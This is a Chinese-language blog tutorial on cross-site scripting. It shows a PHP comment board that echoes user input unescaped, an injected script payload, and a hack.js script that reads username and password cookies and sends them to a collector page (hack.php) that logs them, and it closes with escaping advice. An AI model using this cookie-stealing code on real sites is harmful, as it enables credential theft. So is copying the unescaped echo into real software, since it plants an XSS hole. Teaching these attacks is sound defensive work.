跨站脚本攻击(Cross Site Script为了区别于CSS简称为XSS)指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。


举一个简单的例子—-留言板

/comment.php文件

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Document</title>
  <style type="text/css">
    .comment-title{
      font-size:14px;
      margin: 6px 0px 2px 4px;
    }

    .comment-body{
      font-size: 14px;
      color:#ccc;
      font-style: italic;
      border-bottom: dashed 1px #ccc;
      margin: 4px;
    }
  </style>
</head>
<body>
<form method="post" action="comment.php">
  <div style="margin:20px;">
    <div style="font-size:16px;font-weight:bold;">Your Comment</div>
    <div style="padding:6px;">
      Nick Name:
      <br/>
      <input name="name" type="text" style="width:300px;"/>
    </div>
    <div style="padding:6px;">
      Comment:
      <br/>
      <textarea name="comment" style="height:100px; width:300px;"></textarea>
    </div>
    <div style="padding-left:230px;">
      <input type="submit" value="POST" style="padding:4px 0px; width:80px;"/>
    </div>
    <div style="border-bottom:solid 1px #fff;margin-top:10px;">
      <div style="font-size:16px;font-weight:bold;">Comments</div>
    </div>
    <?php
    if(!empty($_POST['name'])){
      echo $_POST['name'];
      echo $_POST['comment'];
    }
    ?>
  </div>
</form>
</body>
</html>

运行这个文件,在留言内容输入:

因为我们完全信任了用户输入,但有些别有用心的用户会像这样的输入

<script 'text/javascript'>console.log('you are fool!');</script>

如图:

点击提交

如果我们存了这样的数据,这样无论是谁访问这个页面的时候控制台都会输出“you are fool”,如果这只是个恶意的小玩笑,有些人做的事情就不可爱了,有些用户会利用这个漏洞窃取用户信息、诱骗人打开恶意网站或者下载恶意程序等,看个最简单的例子

利用xss窃取用户名密码

当然这个示例很简单,几乎攻击不到任何网站,仅仅看看其原理。我们知道很多登陆界面都有记住用户名、密码的功能方便用户下次登录,有些网站是直接用明文记录用户名、密码,恶意用户注册账户登录后使用简单工具查看cookie结构名称后,如果网站有xss漏洞,那么简单的利用jsonp就可以获取其它用户的用户名、密码了。

恶意用户会这么输入

让我们看看/hack.js里面有什么

var username=getCookie('user');
var password=getCookie('password');
var script =document.createElement('script');
script.src='http://localhost/test/hack.php?username='+username+'&password='+password;

document.body.appendChild(script);

function getCookie(name){
  var cook = '';
  if(document.cookie.length)
  {
    c_start=document.cookie.indexOf(name);
    if (c_start!=-1)
    {
      c_start=c_start + name.length+1;
      c_end=document.cookie.indexOf(";",c_start);
      if (c_end==-1) c_end=document.cookie.length;
      cook =  unescape(document.cookie.substring(c_start,c_end));
    }
  }
  return cook;
}

几句简单的javascript,获取cookie中的用户名密码,利用jsonp把向http://localhost/test/hack.php发送了一个get请求

hack.php

<?php
file_put_contents('a.txt', var_export($_GET, true));

这样恶意用户就把访问留言板的用户的信息窃取了

怎么预防

上面演示的是一个非常简单的XSS攻击,还有很多隐蔽的方式,但是其核心都是利用了脚本注入,因此我们解决办法其实很简单,不信赖用户输入,对特殊字符如”<”,”>”转义,就可以从根本上防止这一问题。

如未注明,均为原创,转载请注明来自Peak Xin's Blog

No Comments »